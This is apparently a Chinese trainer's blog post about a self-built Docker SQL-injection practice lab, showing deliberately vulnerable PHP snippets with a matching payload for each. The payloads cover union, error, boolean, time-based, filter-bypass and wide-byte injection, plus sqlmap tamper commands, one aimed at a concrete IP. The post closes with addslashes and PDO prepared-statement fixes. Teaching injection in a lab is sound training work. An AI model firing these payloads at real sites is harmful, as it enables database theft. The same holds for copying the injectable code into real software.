前言 自己也有过讲师经历,发现别人的靶场不是很适合自己教学,即时他们写的很优秀,之前用过国光师傅的web靶场,使用的是 docker
搭建,很是方便。
还记得自己在做讲师的时候,心里就萌生了一种想法:”一个好的讲师,需要有自己足够的知识功底,自己写的课件和自己写的优秀靶场”。
所以这个想法在我心里很久了,一直没有实施,趁着寒假之际,在家里学习 CCNA 学的有点乏味了,于是就想着先学学其他的。不过时至今日,CCNA 的学习也快结束了。
于是就写了这个基于 docker 搭建,使用 docker-compose.yam
文件一键启动的靶场。
不管是以后工作,还是专职培训,都或多或少会接触到培训,于是靶场就应运而生。
目前就写了 sql 注入和暴破破解两个系列,后续有时间再补充让其成体系。
靶场暂时属于闭源。
简单的INT型注入 1 2 3 4 5 6 7 8 <?php $id = $_GET ['id' ];if (isset ($id ) && isset ($_GET ['submit' ]) && $id !== '' ) { $sql = "SELECT * FROM `info` WHERE id=$id " ; $result = mysqli_query ($conn , $sql ); $rows = mysqli_fetch_assoc ($result ); } ?>
PAYLOAD:
1 ?id =-1 union select flag,2,3,4,5,6,7,8 from ctftraining.flag &submit=%E6%8F%90%E4%BA%A4
简单的GET型注入-1 1 2 3 4 5 6 7 8 <?php $id = $_GET ['id' ];if (isset ($id ) && isset ($_GET ['submit' ]) && $id !== '' ) { $sql = "SELECT * FROM `info` WHERE id='$id '" ; $result = mysqli_query ($conn , $sql ); $rows = mysqli_fetch_assoc ($result ); } ?>
PAYLOAD
1 ?id =-1' union select flag,2,3,4,5,6,7,8 from ctftraining.flag %23&submit=%E6%8F%90%E4%BA%A4
简单的GET型注入-2 1 2 3 4 5 6 7 8 <?php $id = $_GET ['id' ];if (isset ($id ) && isset ($_GET ['submit' ]) && $id !== '' ) { $sql = "SELECT * FROM `info` WHERE id=\"$id \"" ; $result = mysqli_query ($conn , $sql ); $rows = mysqli_fetch_assoc ($result ); } ?>
PAYLOAD:
1 ?id =-1" union select flag,2,3,4,5,6,7,8 from ctftraining.flag %23&submit=%E6%8F%90%E4%BA%A4
简单的GET型注入-3 1 2 3 4 5 6 7 8 <?php $id = $_GET ['id' ];if (isset ($id ) && isset ($_GET ['submit' ]) && $id !== '' ) { $sql = "SELECT * FROM `info` WHERE id=('$id ')" ; $result = mysqli_query ($conn , $sql ); $rows = mysqli_fetch_assoc ($result ); } ?>
PAYLOAD:
1 ?id =-1') union select flag,2,3,4,5,6,7,8 from ctftraining.flag %23&submit=%E6%8F%90%E4%BA%A4
万能密码和POST注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (!empty ($_POST ['username' ]) and !empty ($_POST ['password' ]) and !empty ($_POST ['submit' ])) { $username = $_POST ['username' ]; $password = md5 ($_POST ['password' ]); $sql = "SELECT * FROM users WHERE username='$username ' AND password='$password '" ; $result = mysqli_query ($conn , $sql ); $rows = mysqli_fetch_assoc ($result ); $username = $rows ['username' ]; if (mysqli_num_rows ($result ) >= 1 ) { echo "<script>alert('登录成功!欢迎用户: {$username} ');</script>" ; } else { echo "<script>alert('登录失败,用户名或密码错误!');</script>" ; } }else if (isset ($_POST ['submit' ])) { echo "<script>alert('用户名或密码不能为空!');</script>" ; } ?>
由于密码被后端进行 md5 加密之后带入到的 SQL 语句,因此注入点只能在用户名输入处。
万能密码 PAYLOAD:
密码随便输入
又因为登录成功后,会将从数据库中查询的用户名数据输出到页面,故而这里是存在联合查询注入的。
联合注入PYALOAD:
1 123' union select 1,flag,3,4,5 from ctftraining.flag #
基于报错的注入 1 2 3 4 5 <?php if (!$result ) { echo mysqli_error ($conn ); } ?>
PAYLOAD:
由于基于 xpath 的报错注入,返回的错误信息最大长度为32,因此需要配合 substr
函数进行截取。
1 2 3 4 ?id =1" or updatexml(0x7e,substr(concat(0x7e,(select flag from ctftraining.flag),0x7e),1, 32),0x7e)%23&submit=%E6%8F%90%E4%BA%A4 # 获取后32位: ?id=1" or updatexml(0x7e,substr(concat(0x7e,(select flag from ctftraining.flag),0x7e),32, 64),0x7e)%23&submit=%E6%8F%90%E4%BA%A4
基于布尔的注入 经过测试发现,页面并无报错信息,同时查询数据的状态只有 没有查询出数据
和 数据存在
。
判断注入点:
1 ?id =1" and 1=1 %23&submit=%E6%8F%90%E4%BA%A4
返回数据存在
1 ?id =1" and 1=2 %23&submit=%E6%8F%90%E4%BA%A4
返回没有查询出数据
故而判断漏洞存在。
使用 sqlmap 进行一步测试。
1 sqlmap -u "http://x.x.x.x:30007/?id=1&submit=%E6%8F%90%E4%BA%A4" --batch --flush-session
基于时间的注入 经过测试发现输入 id 为 0 以及 id 和 1 返回的内容是一样的。
PAYLOAD:
1 ?id =1' and sleep(5) %23&submit=%E6%8F%90%E4%BA%A4
发现页面延迟5秒,故而存在注入。
使用 sqlmap 进一步测试:
1 sqlmap -u "http://x.x.x.x:30008/?id=1&submit=%E6%8F%90%E4%BA%A4" --batch --flush-session
bypass space 页面检测了空格,可以使用如下方式代替:
字符
URL编码
说明
TAB
09
制表符
LF
0A
换行
FF
0C
换页
CR
0D
回车```
1 2 3 4 5 6 7 8 9 10 11 12 13 14 sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2comment" --flush-session sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2morecomment" --flush-session sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2mssqlhash" --flush-session sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2mysqldash" --flush-session sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2randomblank" --flush-session
bypass and-or 页面禁用了大小写的 and
和 or
,可以使用 &&
和 ||
替换
1 sqlmap -u "http://x.x.x.x:30010/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="symboliclogical" --flush-session
byapss space-and-or 页面禁用了空格
和大小写的 and
和 or
,逻辑运算符可以使用 &&
和 ||
替换。空格可以使用 /**/
等替换。
1 sqlmap -u "http://120.48.128.24:30010/?id=+and&submit=%E6%8F%90%E4%BA%A4" --tamper="space2comment,symboliclogical" --flush-session --batch
基于宽字节的注入 宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。
网站添加 addslashes
函数过滤或者是开启 PHPGPC 的情况下,黑客们使用的预定义字符会给转义成添加反斜杠的字符串:
1 2 3 单引号 ' ==> \' 双引号 " ==> \" 反斜杠 \ ==> \\
假如这个网站有宽字节注入那么我们提交的数据 %df'
就会变成 運'
在数据库查询前因为设置了 GBK
编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字这样 %df%5c
就转换成了汉字 運` ,而单引号就逃逸了出来,从而造成了注入漏洞。
1 ?id =-1%df ' union select flag,2,3,4,5,6,7,8 from ctftraining.flag %23&submit=%E6%8F%90%E4%BA%A4
基于 addslashes 函数的漏洞修复 页面底部点击 show_source
自行阅读源码。
1 2 3 4 5 6 7 <?php $id = addslashes ($_GET ["id" ]);if (isset ($id ) && isset ($_GET ["submit" ]) && $id !== "" ) { $sql = "SELECT * FROM `info` WHERE id=\'$id \'" ; $result = mysqli_query ($conn , $sql ); $rows = mysqli_fetch_assoc ($result ); }?>
基于 预编译 的漏洞修复 页面底部点击 show_source
自行阅读源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php error_reporting (0 );define ("DB_TYPE" , "mysql" );define ("DB_HOST" , "127.0.0.1" );define ("DB_USER" , "root" );define ("DB_PASS" , "root" );define ("DB_PORT" , "3306" );define ("DB_NAME" , 'address_book' );define ("DB_CHARSET" , "utf8" );$tpl = '%s:host=%s;dbname=%s;port=%s;cahrset=%s' ;$args = [DB_TYPE, DB_HOST, DB_NAME, DB_PORT, DB_CHARSET];$dsn = sprintf ($tpl , ...$args );try { $conn = new PDO ($dsn , DB_USER, DB_PASS); $conn ->setAttribute (PDO::ATTR_DEFAULT_FETCH_MODE , PDO::FETCH_ASSOC ); } catch (PDOException $e ) { echo $e ->getMessage (); } $id = $_GET ['id' ];if (isset ($id ) && isset ($_GET ['submit' ]) && $id !== '' ) { $stmt = $conn ->prepare ("SELECT * FROM `info` WHERE id = ?" ); $stmt ->bindParam (1 , $id ); $stmt ->execute (); $rows = $stmt ->fetch (); $rowCount = $stmt ->rowCount (); } if (isset ($_GET ['id' ]) && isset ($_GET ['submit' ])) { if ($rowCount == 1 ) { $rows ['gender' ] = !empty ($rows ['gender' ]) && $rows ['gender' ] >= 1 ? '男' : '女' ; echo '<table class="table table-hover">' ; echo '<tr class="table-info" style="text-align:center;"> <th scope="col">ID</th> <th scope="col">姓名</th> <th scope="col">性别</th> <th scope="col">年龄</th> <th scope="col">手机号码</th> <th scope="col">地址</th> </tr>' ; echo "<tbody>" ; echo "<tr class='table-light' style='text-align:center;'>" ; echo "<td>{$rows['id']} </td>" ; echo "<td>{$rows['name']} </td>" ; echo "<td>{$rows['gender']} </td>" ; echo "<td>{$rows['age']} </td>" ; echo "<td>{$rows['phone']} </td>" ; echo "<td>{$rows['province']} {$rows['city']} {$rows['area']} </td>" ; echo "</tr/>" ; echo "</tbody>" ; echo '</table>' ; } else if ($rowCount === 0 ) { echo '<p class="card-text">没有查询出数据!</p>' ; } }